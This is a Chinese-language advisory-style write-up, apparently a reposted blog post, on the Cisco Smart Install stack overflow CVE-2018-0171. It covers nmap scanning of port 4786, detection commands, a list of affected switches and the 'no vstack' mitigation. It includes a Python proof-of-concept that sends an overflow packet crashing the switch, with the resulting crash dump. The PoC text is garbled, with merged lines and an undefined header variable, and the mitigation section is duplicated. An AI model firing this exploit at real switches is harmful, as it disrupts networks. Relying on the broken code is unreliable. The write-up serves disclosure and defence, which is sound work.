0x01前言
在Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞，该漏洞***者无需身份验证登录即可远程执行任意代码。cisco Smart Install是一种“即插即用”的配置和图像管理功能，可为新的交换机提供简易的部署。该功能允许用户将思科交换机放置到到任何位置，将其安装到网络中，然后启动，无需其他配置要求。因此它可以完全控制易受***的网络设备。Smart Install是一种即插即用的配置和图像管理的功能，为新型交换机提供良好的图形界面管理。它能使初始化配置过程自动化，并通过当前加载操作系统的镜像提供新的交换机。该功能还可在配置发生变化的时候提供热插热拔的实时备份。需要注意的是，该功能在默认情况下客户端上是启用了的。
0x02漏洞描述
思科 IOS 和 IOS-XE 系统 Smart Install Client 代码中存在一处缓冲区栈溢出漏洞（CVE-2018-0171）。***者可以远程向 TCP 4786 端口发送一个恶意数据包，利用该漏洞，触发目标设备的栈溢出漏洞造成设备拒绝服务（DoS）或在造成远程命令执行，***者可以远程控制受到漏洞影响的网络设备。据悉，思科交换器 TCP 4786 端口是默认开放的
0x03检查漏洞
1.如果您的思科网络设备开放了TCP 4786端口，则易受到***，为了找到这样的设备，只需通过nmap扫描目标网络。
nmap -p T:4786 192.168.1.0/24
2.要检查网络设备是否开放了Smart Install Client客户端功能，以下示例是在显示配置为Smart Install Clien的Cisco Catalyst交换机上的show vstack config命令输出：
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switch1# show vstack config
Role: Client (SmartInstall enabled)
.
switch2# show vstack config
Capability: Client
Oper Mode: Enabled
Role: Client
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来自show vstack config命令输出的Role：Client和Oper Mode：Enabled或Role：Client（已启用SmartInstall）信息确认设备上已启用了该功能。
3.思科机子上执行命令判断，开放了4786端口即使用了SMI。
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switch>show tcp brief all
TCBLocal Address Foreign Address (state)
0344B794.4786 .* LISTEN
0350A018.443 .* LISTEN
03293634.443 .* LISTEN
03292D9C.80 .* LISTEN
03292504.80 .* LISTEN
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Cisco IOS和iex软件版本检查：
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Router> show version
Cisco IOS Software, C2951 Software (C2951-UNIVERSALK9-M), Version 15.5(2)T1, RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2015 by Cisco Systems, Inc.
Compiled Mon 22-Jun-15 09:32 by prod_rel_team
ios-xe-device# show version
Cisco IOS Software, Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version Denali 16.2.1, RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2016 by Cisco Systems, Inc.
Compiled Sun 27-Mar-16 21:47 by mcpre
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4.如果您不确定您的漏洞是否受到影响，可以使用Cisco的Cisco IOS Software Checker进行检测：
https://tools.cisco.com/security/center/softwarechecker.x
5.使用下面的脚本探测对应IP端口是否确实开放的是思科SMI协议
https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py
协议特征可以参见msf扒拉出来的
https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d
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python smi_check.py -i targetip
[INFO] Sending TCP probe to targetip:4786
[INFO] Smart Install Client feature active on targetip:4786
[INFO] targetip is affected
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0x04 影响范围
影响设备：
Catalyst 4500 Supervisor Engines
Cisco Catalyst 3850 Series Switches
Cisco Catalyst 2960 Series Switches
包含部分Smart Install Client的设备也可能受到影响：
Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs
0x05 漏洞验证
以下是此漏洞验证的PoC：
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smi_ibc_init_discovery_BoF.py
import socket
import struct
from optparse import OptionParser
Parse the target options
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786) (options, args) = parser.parse_args()
def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v def send_packet(sock, packet):
sock.send(packet) def receive(sock):
return sock.recv() if name == "main":
print "[*] Connecting to Smart Install Client ", options.target, "port", options.port
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target, options.port))
payload = 'BBBB' * 44 shellcode = 'D' * 2048
data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload
tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode
pkt = hdr + tlv_1 + tlv_2
print "[*] Send a malicious packet"
send_packet(con, pkt)复制代码
要***交换机，则运行以下命令：
host$ ./smi_ibc_init_discovery_BoF.py-t 192.168.1.1
在交换机上应显示崩溃信息并重新启动：
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00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240
-Traceback= 42424240
Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15
=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:
...
Queued messages:
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE
(fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2016 by Cisco Systems, Inc.
Compiled Wed 17-Aug-16 13:46 by prod_rel_team
Instruction TLB Miss Exception (0x1200)!
SRR0 = 0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
CPU Register Context:
Vector = 0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
LR = 0x42424242 CTR = 0x014D5268 XER = 0xC000006A
R0 = 0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
R4 = 0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
R8 = 0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
R12 = 0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
R16 = 0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
R20 = 0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
R24 = 0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
R28 = 0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
Stack trace:
PC = 0x42424240, SP = 0x02B1B0B0
Frame 00: SP = 0x42424242 PC = 0x42424242
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0x06 漏洞修复
#conf t
Enter configuration commands, one per line. End with CNTL/Z.
NSJ-131-6-16-C2960_7(config)#no vstack
NSJ-131-6-16-C2960_7(config)#exit
关键的就是这句 no vstack
再看，端口已经关掉了。
#show tcp brief all
TCB Local Address Foreign Address (state)
075A0088 .443 .* LISTEN
0759F6C8 .443 .* LISTEN
0759ED08 .80 .* LISTEN
0759E348 .80 .* LISTEN
0x06 漏洞危害
可能会导致***者在受影响的设备上导致缓冲区溢出，这可能会产生如下影响：
触发设备的重新加载
允许***者在设备上执行任意代码
在受影响的设备上引发无限循环重启，是设备崩溃
0x07 漏洞修复
#conf t
Enter configuration commands, one per line. End with CNTL/Z.
NSJ-131-6-16-C2960_7(config)#no vstack
NSJ-131-6-16-C2960_7(config)#exit
关键的就是这句 no vstack
再看，端口已经关掉了。
#show tcp brief all
TCB Local Address Foreign Address (state)
075A0088 .443 .* LISTEN
0759F6C8 .443 .* LISTEN
0759ED08 .80 .* LISTEN
0759E348 .80 .* LISTEN
0x08 参考文献
https://embedi.com/blog/cisco-smart-install-remote-code-execution/
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
https://www.anquanke.com/post/id/103122
https://mp.weixin.qq.com/s/cMYUuGFmox5PK89fO_eR8w
https://www.youtube.com/watch?v=CE7KNK6UJuk&feature=youtu.be&t=99
https://www.youtube.com/watch?v=TSg5EZVudNU&feature=youtu.be
原文：http://www.cnblogs.com/backlion/p/8675854.html